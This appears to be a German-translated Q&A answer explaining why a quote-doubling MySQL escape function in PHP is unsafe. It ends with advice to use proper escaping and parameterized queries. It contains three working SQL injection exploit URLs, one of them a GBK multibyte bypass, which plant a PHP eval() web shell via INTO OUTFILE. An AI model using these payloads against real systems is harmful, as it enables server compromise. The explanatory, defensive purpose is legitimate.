Mysql
 sql >> Datenbank >  >> RDS >> Mysql

Schwache Escape-Funktion für MySql gefunden, wie ausnutzen?

Wenn Sie nur sind Ersetzen von ' mit '' dann könnten Sie dies ausnutzen, indem Sie einen \' einfügen was zu einem \'' wird und dies ermöglicht es Ihnen, auszubrechen, da Sie dadurch ein einfaches Anführungszeichen für "Zeichen wörtlich" und ein echtes einfaches Anführungszeichen erhalten. Allerdings ist die Ersetzung von "\\" mit "\\\\" negiert diesen Angriff. Das doppelte einfache Anführungszeichen wird verwendet, um einfache Anführungszeichen für MS-SQL zu "escapen", aber dies ist nicht richtig für MySQL, aber es kann funktionieren.

Die folgenden Codes beweisen dass diese Escape-Funktion für alle außer drei Bedingungen sicher ist . Dieser Code permutiert alle möglichen Variationen von Steuerchartas und testet jede einzelne, um sicherzustellen, dass kein Fehler mit einer in einzelne Anführungszeichen eingeschlossenen select-Anweisung auftritt. Dieser Code wurde auf MySQL 5.1.41 getestet.

<?php
mysql_connect("localhost",'root','');
function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

$chars=array("'","\\","\0","a");

for($w=0;$w<4;$w++){
    for($x=0;$x<4;$x++){
        for($y=0;$y<4;$y++){
            for($z=0;$z<4;$z++){
                mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
            }       
        }
    }
}
print "Escape function is safe :(";
?>

Anfällige Bedingung 1:keine Anführungszeichen verwendet.

mysql_query("select username from users where id=".escape($_GET['id']));

Exploit:

http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"

Anfälliger Zustand 2:doppelte Anführungszeichen verwendet

mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");

Exploit:

http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

Anfällige Bedingung 2:Es werden einfache Anführungszeichen verwendet, jedoch ein alternativer Zeichensatz wird verwendet. .

mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");

Exploit:

http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

Die Schlussfolgerung ist, immer mysql_real_escape_string() zu verwenden als Escape-Routine für MySQL. Parametrisierte Abfragebibliotheken wie pdo und adodb verwenden immer mysql_real_escape_string() bei Verbindung mit einer MySQL-Datenbank. addslashes() ist VIEL BESSER einer Escape-Routine, weil sie sich um die verwundbare Bedingung 2 kümmert. Es sollte beachtet werden, dass nicht einmal mysql_real_escape_string() stoppt Bedingung 1, jedoch eine parametrisierte Abfragebibliothek.